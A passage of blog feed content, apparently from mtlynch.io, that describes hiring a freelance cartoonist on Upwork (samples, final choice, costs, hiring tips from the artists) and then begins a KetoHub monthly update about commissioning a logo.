&lt;p>Some of the applicants&amp;rsquo; portfolios were clearly bad, like doodles you&amp;rsquo;d see in the margins of a high schooler&amp;rsquo;s Calculus textbook. Others were good but had the style of a graphic novel or political cartoon, which wasn&amp;rsquo;t what I wanted.&lt;/p>
&lt;p>Four of the portfolios had the lighthearted, playful style reminiscent of &lt;em>An Illustrated Book of Bad Arguments&lt;/em>, so I selected those artists for my shortlist:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.facebook.com/christinaillustration/">Christine Elefsiniotis&lt;/a>&lt;/li>
&lt;li>Loraine Yow&lt;/li>
&lt;li>&lt;a href="https://www.upwork.com/freelancers/~0146ddb5612a5aaaca">Manel Sto Nino&lt;/a>&lt;/li>
&lt;li>Sofia (she preferred I not link to her profile for this article)&lt;/li>
&lt;/ul>
&lt;h2 id="choosing-the-final-cartoonist">Choosing the final cartoonist&lt;/h2>
&lt;p>I commissioned each shortlisted artist to draw a cartoon based on the same description:&lt;/p>
&lt;blockquote>
&lt;p>I would like an illustration of two animals. One of the characters is straining to move a couch, carrying it on their back. The other is watching the first character and not helping, but the character says, &amp;ldquo;We should really move this couch.&amp;rdquo;&lt;/p>&lt;/blockquote>
&lt;p>For additional context, I linked to the &lt;a href="https://mtlynch.io/human-code-reviews-1/#never-say-you">section&lt;/a> of my blog post where the cartoon would appear.&lt;/p>
&lt;h3 id="sofias-submission">Sofia&amp;rsquo;s submission&lt;/h3>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/sample-sofia.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/how-to-hire-a-cartoonist/sample-sofia_hu_9a50468f75f9b1b4.jpg 300w, https://mtlynch.io/how-to-hire-a-cartoonist/sample-sofia_hu_44466e569253d993.jpg 600w, https://mtlynch.io/how-to-hire-a-cartoonist/sample-sofia_hu_60581f28fcff3a35.jpg 800w, https://mtlynch.io/how-to-hire-a-cartoonist/sample-sofia.jpg 800w'
 src="https://mtlynch.io/how-to-hire-a-cartoonist/sample-sofia.jpg" alt="Sample submission from Sofia" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Cartoon submission from Sofia&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Sofia was the first artist to submit her sample. I liked it. The animals were &lt;em>just&lt;/em> human enough to be funny, while still being cute and whimsical. She nailed the expressions. The cat looked kind of snobby, which was fitting because it represented me.&lt;/p>
&lt;h3 id="manels-submission">Manel&amp;rsquo;s submission&lt;/h3>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/sample-manel.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/how-to-hire-a-cartoonist/sample-manel_hu_b024351f0b6f3c2a.jpg 300w, https://mtlynch.io/how-to-hire-a-cartoonist/sample-manel_hu_dabd289dd8772539.jpg 600w, https://mtlynch.io/how-to-hire-a-cartoonist/sample-manel_hu_db7b7a1df5148d1b.jpg 800w, https://mtlynch.io/how-to-hire-a-cartoonist/sample-manel.jpg 800w'
 src="https://mtlynch.io/how-to-hire-a-cartoonist/sample-manel.jpg" alt="Sample submission from Manel" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Cartoon submission from &lt;a href="https://www.upwork.com/freelancers/~0146ddb5612a5aaaca">Manel Sto Nino&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Manel&amp;rsquo;s submission was impressive in how &lt;em>closely&lt;/em> it matched the style of &lt;em>An Illustrated Book of Bad Arguments&lt;/em>. Her first sketch was even more on the nose, but I asked her to tone it down a bit so that it didn&amp;rsquo;t look like we were blatantly ripping off the book.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/boba-appeal-to-ignorance.png">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/how-to-hire-a-cartoonist/boba-appeal-to-ignorance_hu_65cf0646b673f58a.png 300w, https://mtlynch.io/how-to-hire-a-cartoonist/boba-appeal-to-ignorance_hu_24af36977df8fd15.png 600w, https://mtlynch.io/how-to-hire-a-cartoonist/boba-appeal-to-ignorance.png 664w'
 src="https://mtlynch.io/how-to-hire-a-cartoonist/boba-appeal-to-ignorance.png" alt="Appeal to Ignorance image" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>“Appeal to Ignorance,” from &lt;a href="https://smile.amazon.com/Illustrated-Book-Bad-Arguments/dp/1615192255/">&lt;em>An Illustrated Book of Bad Arguments&lt;/em>&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="christines-submission">Christine&amp;rsquo;s submission&lt;/h3>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/sample-christine.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/how-to-hire-a-cartoonist/sample-christine_hu_efbdbcdba4a15029.jpg 300w, https://mtlynch.io/how-to-hire-a-cartoonist/sample-christine_hu_f73429a443f729fb.jpg 600w, https://mtlynch.io/how-to-hire-a-cartoonist/sample-christine_hu_943c9a7f1a6f4915.jpg 800w, https://mtlynch.io/how-to-hire-a-cartoonist/sample-christine.jpg 800w'
 src="https://mtlynch.io/how-to-hire-a-cartoonist/sample-christine.jpg" alt="Sample submission from Christine" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Cartoon submission from &lt;a href="https://www.facebook.com/christinaillustration/">Christine Elefsiniotis&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Christine&amp;rsquo;s was the most elaborate. We learn a great deal about the two characters and their relationship just from the little details of how they&amp;rsquo;re dressed, their expressions, and the items around them. It felt like a &lt;em>New Yorker&lt;/em> cartoon.&lt;/p>
&lt;h3 id="winner-loraines-submission">Winner: Loraine&amp;rsquo;s submission&lt;/h3>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/sample-loraine.png">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/how-to-hire-a-cartoonist/sample-loraine_hu_d29beaedb38344f1.png 300w, https://mtlynch.io/how-to-hire-a-cartoonist/sample-loraine_hu_fa8dde97b49cbf84.png 600w, https://mtlynch.io/how-to-hire-a-cartoonist/sample-loraine_hu_555eb8a347e286b8.png 800w, https://mtlynch.io/how-to-hire-a-cartoonist/sample-loraine.png 800w'
 src="https://mtlynch.io/how-to-hire-a-cartoonist/sample-loraine.png" alt="Sample submission from Loraine" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Cartoon submission from Loraine Yow&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Loraine&amp;rsquo;s submission was the clear winner as soon as I saw it. It was everything I didn&amp;rsquo;t realize I had been looking for the whole time.&lt;/p>
&lt;p>I had led the artists astray by referencing &lt;em>An Illustrated Book of Bad Arguments&lt;/em>. In that book, the cartoons are the star of the show. In my blog post, I wanted the cartoons to support the text, not the other way around.&lt;/p>
&lt;p>Loraine&amp;rsquo;s cartoon was by far the simplest, but it was also the most efficient. Like elegant code, it communicated the essential idea and eliminated everything else.&lt;/p>
&lt;p>I offered Loraine the job, and she promptly accepted.&lt;/p>
&lt;h2 id="describing-cartoons-is-hard">Describing cartoons is hard&lt;/h2>
&lt;p>Everyone&amp;rsquo;s heard the expression, &amp;ldquo;The value of a picture, when converted to units of words, is equal to one thousand of them.&amp;rdquo; It turns out, that&amp;rsquo;s true.&lt;/p>
&lt;p>After I hired Loraine to do the full set of cartoons, I tried to explain the next cartoon to her in prose. It felt awkward and inefficient.&lt;/p>
&lt;p>I realized I had a misguided notion about separation of duties. Loraine&amp;rsquo;s job was drawing; my job was writing. But I was obeying this imaginary rule too strictly. I sent her a basic sketch to convey my idea, and it immediately made the process much easier.&lt;/p>
&lt;h2 id="the-process-end-to-end">The process, end-to-end&lt;/h2>
&lt;p>My favorite of Loraine&amp;rsquo;s cartoons for the article was this one &lt;a href="https://mtlynch.io/human-code-reviews-2/#offer-sincere-praise">about giving compliments&lt;/a>:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/mma-v3.png">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/how-to-hire-a-cartoonist/mma-v3_hu_c1b16f94d50e497a.png 300w, https://mtlynch.io/how-to-hire-a-cartoonist/mma-v3_hu_ef8bbc66cc43655a.png 600w, https://mtlynch.io/how-to-hire-a-cartoonist/mma-v3_hu_a97e6a858900141a.png 800w, https://mtlynch.io/how-to-hire-a-cartoonist/mma-v3_hu_ddf875e0bb749d62.png 1200w, https://mtlynch.io/how-to-hire-a-cartoonist/mma-v3.png 3000w'
 src="https://mtlynch.io/how-to-hire-a-cartoonist/mma-v3.png" alt="Final version of MMA cartoon" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>That excellent illustration began with my horrendous stick figure drawing:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/mma-stick-figures.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/how-to-hire-a-cartoonist/mma-stick-figures_hu_1d1072c0991a2424.jpg 300w, https://mtlynch.io/how-to-hire-a-cartoonist/mma-stick-figures_hu_52dd28ca4696c497.jpg 600w, https://mtlynch.io/how-to-hire-a-cartoonist/mma-stick-figures_hu_10c54267bd3f5429.jpg 800w, https://mtlynch.io/how-to-hire-a-cartoonist/mma-stick-figures.jpg 800w'
 src="https://mtlynch.io/how-to-hire-a-cartoonist/mma-stick-figures.jpg" alt="My initial stick figure cartoon" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I accompanied the sketch with this text description to Loraine:&lt;/p>
&lt;blockquote>
&lt;p>The dog has just finished fighting a shoe in a UFC match. I&amp;rsquo;m not sure how familiar you are with UFC, but the fights happen in an octagonal ring (&lt;a href="https://l7.alamy.com/zooms/0e446803915f4de18486c3f16e1f3b93/3d-rendered-illustration-of-an-mma-mixed-martial-arts-fighting-cage-hmfggb.jpg">example&lt;/a>).&lt;/p>
&lt;p>A human referee is holding the dog&amp;rsquo;s paw up in victory. UFC referees wear black pants, black polo shirts, and gloves (&lt;a href="https://media.ufc.tv/200/UFC200feature_johnmccarthy/GettyImages-115727257.jpg">example&lt;/a>).&lt;/p>
&lt;p>So the dog has won, but he has a black eye and some welts as if the shoe hit him back. The shoe is lying on its side on the ground, torn up.&lt;/p>
&lt;p>The cat is in the audience, cheering, &amp;ldquo;Beautiful grappling! You soundly defeated that shoe.&amp;rdquo; The audience is full but it&amp;rsquo;s just a faceless crowd aside from the cat&lt;/p>&lt;/blockquote>
&lt;p>And Loraine sent me this initial draft:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/mma-sketch.png">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/how-to-hire-a-cartoonist/mma-sketch_hu_6ced6db87ff1e217.png 300w, https://mtlynch.io/how-to-hire-a-cartoonist/mma-sketch_hu_4f2eddad882a9ad0.png 600w, https://mtlynch.io/how-to-hire-a-cartoonist/mma-sketch_hu_610dffbeb175c5e7.png 800w, https://mtlynch.io/how-to-hire-a-cartoonist/mma-sketch_hu_f8f011fd04d3e21.png 1200w, https://mtlynch.io/how-to-hire-a-cartoonist/mma-sketch.png 3000w'
 src="https://mtlynch.io/how-to-hire-a-cartoonist/mma-sketch.png" alt="Sketch of MMA cartoon" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Right off the bat, it was pretty close to what I wanted. I asked her to proceed with that sketch, and she sent me a more detailed version. We went a few rounds on minor fixes, but you can see the changes get smaller and smaller as we converge on the final design.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 3000px">



 &lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/mma-v1.png">
 &lt;img
 
 sizes="(min-width: 768px) 3000px, 98vw"
 srcset='https://mtlynch.io/how-to-hire-a-cartoonist/mma-v1_hu_c2244564030b144f.png 300w, https://mtlynch.io/how-to-hire-a-cartoonist/mma-v1_hu_a3dcd549e7551095.png 600w, https://mtlynch.io/how-to-hire-a-cartoonist/mma-v1_hu_e4575be0f26ba99e.png 800w, https://mtlynch.io/how-to-hire-a-cartoonist/mma-v1_hu_9ba2333d8da1ab9.png 1200w, https://mtlynch.io/how-to-hire-a-cartoonist/mma-v1.png 3000w'
 src="https://mtlynch.io/how-to-hire-a-cartoonist/mma-v1.png" alt="MMA cartoon v1" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 3000px">



 &lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/mma-v2.png">
 &lt;img
 
 sizes="(min-width: 768px) 3000px, 98vw"
 srcset='https://mtlynch.io/how-to-hire-a-cartoonist/mma-v2_hu_8dd399351bba55d8.png 300w, https://mtlynch.io/how-to-hire-a-cartoonist/mma-v2_hu_df91d7ee548cbfd5.png 600w, https://mtlynch.io/how-to-hire-a-cartoonist/mma-v2_hu_29ca028aa517f6ac.png 800w, https://mtlynch.io/how-to-hire-a-cartoonist/mma-v2_hu_1360a4b7207c6041.png 1200w, https://mtlynch.io/how-to-hire-a-cartoonist/mma-v2.png 3000w'
 src="https://mtlynch.io/how-to-hire-a-cartoonist/mma-v2.png" alt="MMA cartoon v2" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 3000px">



 &lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/mma-v3.png">
 &lt;img
 
 sizes="(min-width: 768px) 3000px, 98vw"
 srcset='https://mtlynch.io/how-to-hire-a-cartoonist/mma-v3_hu_c1b16f94d50e497a.png 300w, https://mtlynch.io/how-to-hire-a-cartoonist/mma-v3_hu_ef8bbc66cc43655a.png 600w, https://mtlynch.io/how-to-hire-a-cartoonist/mma-v3_hu_a97e6a858900141a.png 800w, https://mtlynch.io/how-to-hire-a-cartoonist/mma-v3_hu_ddf875e0bb749d62.png 1200w, https://mtlynch.io/how-to-hire-a-cartoonist/mma-v3.png 3000w'
 src="https://mtlynch.io/how-to-hire-a-cartoonist/mma-v3.png" alt="Final version of MMA cartoon" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Evolution of &amp;ldquo;Offer sincere praise&amp;rdquo; cartoon from &lt;a href="https://mtlynch.io/human-code-reviews-2/#offer-sincere-praise">How to do Code Reviews Like a Human&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;h2 id="results">Results&lt;/h2>
&lt;p>My articles are generally not very popular on Twitter, but this one received hundreds of likes and retweets. &lt;a href="https://twitter.com/java/">@java&lt;/a> shared it with their 371,000 followers, using one of the cartoons as the photo.&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://twitter.com/java/status/918934115558313984">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/how-to-hire-a-cartoonist/java-tweet_hu_60a9594aca092c59.png 300w, https://mtlynch.io/how-to-hire-a-cartoonist/java-tweet_hu_182bdc2c8aba8019.png 600w, https://mtlynch.io/how-to-hire-a-cartoonist/java-tweet.png 602w'
 src="https://mtlynch.io/how-to-hire-a-cartoonist/java-tweet.png" alt="Java tweeting my article" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>On reddit, one of the &lt;a href="https://www.reddit.com/r/programming/comments/75wmuw/how_to_do_code_reviews_like_a_human/do9kdx9/">top comments&lt;/a> specifically cited the cartoons.&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 520px">



 &lt;a href="https://www.reddit.com/r/programming/comments/75wmuw/how_to_do_code_reviews_like_a_human/do9kdx9/">
 &lt;img
 
 sizes="(min-width: 768px) 520px, 98vw"
 srcset='https://mtlynch.io/how-to-hire-a-cartoonist/reddit-comment_hu_869038875a29cbdd.png 300w, https://mtlynch.io/how-to-hire-a-cartoonist/reddit-comment_hu_c7fe6a54dfc4352f.png 600w, https://mtlynch.io/how-to-hire-a-cartoonist/reddit-comment.png 605w'
 src="https://mtlynch.io/how-to-hire-a-cartoonist/reddit-comment.png" alt="Reddit comment about cartoons" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="cost">Cost&lt;/h2>
&lt;p>You&amp;rsquo;re probably wondering how much this all cost.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Expense&lt;/th>
 &lt;th>Cost&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Four samples @ $30&lt;/td>
 &lt;td>$120&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Block of 10 cartoons from Loraine&lt;/td>
 &lt;td>$280&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Four additional cartoons from Loraine&lt;/td>
 &lt;td>$125&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$525&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>I know! It&amp;rsquo;s a lot. Especially for a blog like mine that doesn&amp;rsquo;t really make money.&lt;/p>
&lt;p>But I had to break up the text somehow. It was either this, pay for stock photos, or spend hours trawling through free stock photos that &lt;em>kind of&lt;/em> fit.&lt;/p>
&lt;p>I did briefly attempt to use stock photos, but it felt a bit like this:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 750px">



 &lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/pawel-janiak-114499.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 750px, 98vw"
 srcset='https://mtlynch.io/how-to-hire-a-cartoonist/pawel-janiak-114499_hu_caaf65d08d41d7a3.jpg 300w, https://mtlynch.io/how-to-hire-a-cartoonist/pawel-janiak-114499_hu_d9eb49cc8396d0fb.jpg 600w, https://mtlynch.io/how-to-hire-a-cartoonist/pawel-janiak-114499_hu_1e596c7bb7d87d5b.jpg 800w, https://mtlynch.io/how-to-hire-a-cartoonist/pawel-janiak-114499_hu_acc9a3249e48b412.jpg 1200w, https://mtlynch.io/how-to-hire-a-cartoonist/pawel-janiak-114499.jpg 5184w'
 src="https://mtlynch.io/how-to-hire-a-cartoonist/pawel-janiak-114499.jpg" alt="Person searching" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Photo by &lt;a href="https://web.archive.org/web/20241203111941/https://unsplash.com/photos/woman-wearing-black-jacket-sitting-on-gray-rock-and-using-binoculrs-dxFi8Ea670E">Pawel Janiak&lt;/a> on Unsplash&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>See? It&amp;rsquo;s something to look at, but it&amp;rsquo;s not quite right.&lt;/p>
&lt;h2 id="tips-for-hiring-cartoonists">Tips for hiring cartoonists&lt;/h2>
&lt;p>There were many instances throughout this process where I didn&amp;rsquo;t know what the standard procedure was. How many revisions could I ask for? Do I need to give attribution? What&amp;rsquo;s the right way to describe cartoons?&lt;/p>
&lt;p>After I published the blog post, I reached out to the four cartoonists I worked with to ask if they&amp;rsquo;d let me interview them for this article. They all seemed intrigued by the unusual request and agreed to speak with me.&lt;/p>
&lt;p>Below, I&amp;rsquo;ve compiled tips for hiring and working with cartoonists based on those interviews and my experiences as a client.&lt;/p>
&lt;h3 id="background-nobody-wants-to-work-for-a-bad-client">Background: Nobody wants to work for a bad client&lt;/h3>
&lt;p>Every cartoonist I interviewed emphasized how unpleasant it is to work with clients who make unreasonable demands and threaten poor ratings. Therefore, cartoonists screen their clients carefully during the interview process to avoid putting themselves at the mercy of a bad client.&lt;/p>
&lt;p>The cartoonists all described similar qualities they look for in a client when deciding whether to accept work.&lt;/p>
&lt;p>A good client:&lt;/p>
&lt;ul>
&lt;li>Has a clear vision of what they want and can articulate it clearly
&lt;ul>
&lt;li>Alternatively, recognizes the project as open-ended, and grants creative freedom to their cartoonist&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Respects the freelancer&amp;rsquo;s craft
&lt;ul>
&lt;li>Understands that the work takes time and skill&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Provides constructive feedback
&lt;ul>
&lt;li>Doesn&amp;rsquo;t simply bash the artist&amp;rsquo;s work&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="1-start-with-a-small-job">1. Start with a small job&lt;/h3>
&lt;p>It&amp;rsquo;s difficult to choose a cartoonist based solely on their portfolios and a brief interview. Instead of investing hours into rigorous screening, hire the cartoonist for a small job to get a sense of how you&amp;rsquo;ll work together.&lt;/p>
&lt;h3 id="2-dont-ask-for-free-work">2. Don&amp;rsquo;t ask for free work&lt;/h3>
&lt;p>Resist the temptation to ask freelancers to draw you a free, custom sample cartoon as part of the interview process. Like any profession, the people who are good don&amp;rsquo;t simply give away their work.&lt;/p>
&lt;h3 id="3-choose-the-right-contract-type-for-the-job">3. Choose the right contract type for the job&lt;/h3>
&lt;ul>
&lt;li>Hire on a &lt;strong>fixed-cost basis&lt;/strong> if you have a clear vision of what you want.&lt;/li>
&lt;li>Hire on an &lt;strong>hourly basis&lt;/strong> if you don&amp;rsquo;t quite know what you want and you&amp;rsquo;d like the artist to help you explore different ideas.&lt;/li>
&lt;/ul>
&lt;h3 id="4-write-a-clear-thorough-job-description">4. Write a clear, thorough job description&lt;/h3>
&lt;p>If your listing is basically, &amp;ldquo;Looking for cartoonist who draws good,&amp;rdquo; it sends the message that you view artists as interchangeable cogs that crank out work on demand. This will attract only low-quality cartoonists, desperate for any work.&lt;/p>
&lt;p>Even if you don&amp;rsquo;t know the style that you want, you can specify the technical details of the artwork, such as:&lt;/p>
&lt;ul>
&lt;li>Purpose
&lt;ul>
&lt;li>Will it appear in a blog article? Is it your new website logo?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Image dimensions (in pixels)&lt;/li>
&lt;li>Color or black and white&lt;/li>
&lt;li>Usage rights
&lt;ul>
&lt;li>Do you need the full copyright or just the right to use it once?&lt;/li>
&lt;li>If you&amp;rsquo;re using a freelancer site, check the standard contract terms, as they may automatically give the client full intellectual property rights (Upwork does).&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Image format
&lt;ul>
&lt;li>Do you just want the finished images (jpeg/png) or the raw files as well?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="5-write-personalized-interview-invitations">5. Write personalized interview invitations&lt;/h3>
&lt;p>Platforms like Upwork allow you to search for available freelancers and invite them to apply for your job. Take advantage of this to increase the quality of your applicant pool.&lt;/p>
&lt;p>Browse the portfolios of available artists. If you like a particular freelancer, take a few minutes to write them a note explaining what you like about their work and why you think they might be a good match for your job.&lt;/p>
&lt;h3 id="6-consider-total-cost">6. Consider total cost&lt;/h3>
&lt;p>Each artist&amp;rsquo;s application specifies their compensation rate. Look beyond that number, and consider the total cost of the work, which is based on four variables:&lt;/p>
&lt;ol>
&lt;li>Freelancer&amp;rsquo;s bid rate&lt;/li>
&lt;li>Number of hours the freelancer will require to complete the work (if contract is hourly)&lt;/li>
&lt;li>Number of hours you will spend managing the freelancer&lt;/li>
&lt;li>The rate at which you value your time&lt;/li>
&lt;/ol>
&lt;p>A low-quality applicant may tempt you with a cheap bid. Before you&amp;rsquo;re taken in by the cheap rate, estimate how many additional hours you&amp;rsquo;ll spend managing them and how much longer it will take them to produce work that meets your standards.&lt;/p>
&lt;p>Pay attention to red flags in the early stages of hiring:&lt;/p>
&lt;ul>
&lt;li>Improper or incomplete answers to your screening questions&lt;/li>
&lt;li>Vague questions they ask you that you can&amp;rsquo;t answer without clarification&lt;/li>
&lt;/ul>
&lt;h3 id="7-sketch-your-ideas-first">7. Sketch your ideas first&lt;/h3>
&lt;p>Just draw stick figures on a piece of paper and take a picture of it. You&amp;rsquo;re trying to capture the broad ideas, not the specifics.&lt;/p>
&lt;h3 id="8-provide-reference-images">8. Provide reference images&lt;/h3>
&lt;p>Imagine you want a cartoon that features a car. Well, there are many types of cars. Is it a sports car? An SUV? A sedan?&lt;/p>
&lt;p>Use Google Image Search to find examples of what you have in mind, and share the links with your cartoonist.&lt;/p>
&lt;h3 id="9-maintain-reasonable-expectations-for-revisions">9. Maintain reasonable expectations for revisions&lt;/h3>
&lt;p>On an hourly contract, revision limits matter less because you&amp;rsquo;re paying for the time.&lt;/p>
&lt;p>For a fixed-cost contract, stay within a reasonable number of revisions. The cartoonists I interviewed varied in how many edits they considered fair, but the upper limit was between three and six.&lt;/p>
&lt;h3 id="10-give-attribution">10. Give attribution&lt;/h3>
&lt;p>While none of the artists I spoke with said they strictly require it, they all agreed that it&amp;rsquo;s standard practice to credit the artist when you hire them for a blog post.&lt;/p>
&lt;hr>
&lt;p>&lt;em>Thanks to all the artists who spoke with me for this article and to Nicole Michaelis for volunteering her time to edit this piece.&lt;/em>&lt;/p></content:encoded></item><item><title>KetoHub Update: Month 3</title><link>https://mtlynch.io/ketohub-month-3/</link><pubDate>Tue, 09 Jan 2018 00:00:00 +0000</pubDate><guid>https://mtlynch.io/ketohub-month-3/</guid><description>&lt;p>In early October, I launched a new website, KetoHub, a recipe aggregator for keto meals. Each month, I&amp;rsquo;ve evaluated the site&amp;rsquo;s progress to decide how it&amp;rsquo;s doing and what areas need improvement.&lt;/p>
&lt;p>I&amp;rsquo;m doing my evaluation of December publicly. Here&amp;rsquo;s what was good, bad, and learnable about KetoHub last month.&lt;/p>
&lt;h2 id="improvements-in-december">Improvements in December&lt;/h2>
&lt;h3 id="new-logo">New logo&lt;/h3>
&lt;p>The most visible change is that KetoHub now has a logo. Behold!&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/ketohub-month-3/ketohub-logo.png">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/ketohub-month-3/ketohub-logo_hu_10e4d8d448251c71.png 300w, https://mtlynch.io/ketohub-month-3/ketohub-logo.png 502w'
 src="https://mtlynch.io/ketohub-month-3/ketohub-logo.png" alt="KetoHub logo" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>KetoHub logo&lt;/p></description><content:encoded>&lt;p>In early October, I launched a new website, KetoHub, a recipe aggregator for keto meals. Each month, I&amp;rsquo;ve evaluated the site&amp;rsquo;s progress to decide how it&amp;rsquo;s doing and what areas need improvement.&lt;/p>
&lt;p>I&amp;rsquo;m doing my evaluation of December publicly. Here&amp;rsquo;s what was good, bad, and learnable about KetoHub last month.&lt;/p>
&lt;h2 id="improvements-in-december">Improvements in December&lt;/h2>
&lt;h3 id="new-logo">New logo&lt;/h3>
&lt;p>The most visible change is that KetoHub now has a logo. Behold!&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/ketohub-month-3/ketohub-logo.png">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/ketohub-month-3/ketohub-logo_hu_10e4d8d448251c71.png 300w, https://mtlynch.io/ketohub-month-3/ketohub-logo.png 502w'
 src="https://mtlynch.io/ketohub-month-3/ketohub-logo.png" alt="KetoHub logo" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>KetoHub logo&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I primarily market KetoHub via Facebook groups (more on that &lt;a href="#finding-users-on-facebook">below&lt;/a>). I was embarrassed by how ugly the sharing link looked without a site logo:&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 493px">



 &lt;a href="https://mtlynch.io/ketohub-month-3/ugly-fb-links.png">
 &lt;img
 
 sizes="(min-width: 768px) 493px, 98vw"
 srcset='https://mtlynch.io/ketohub-month-3/ugly-fb-links_hu_3b034d97b04d1bee.png 300w, https://mtlynch.io/ketohub-month-3/ugly-fb-links.png 493w'
 src="https://mtlynch.io/ketohub-month-3/ugly-fb-links.png" alt="Facebook sharing with no logo" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Sharing KetoHub on Facebook with no site logo&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I&amp;rsquo;d need a logo eventually, so I decided to try &lt;a href="https://ninetyninedesigns.7eer.net/c/1189252/185967/3172">99designs&lt;/a> for the first time. It&amp;rsquo;s a &amp;ldquo;design contest&amp;rdquo; site, so you describe a design you want, assign a prize value, then dozens or hundreds of designers submit options. The full prize money goes to the designer whose logo you select.&lt;/p>
&lt;p>99design&amp;rsquo;s lowest tier design contest cost $400. I justified the cost to myself in various ways, but then I woke up the next morning and realized I could have commissioned a freelance illustrator to make a logo for about $75. I was trying to de-ugly my Facebook links, but even a mediocre logo would have been sufficient. A $400 design contest was a bit overkill.&lt;/p>
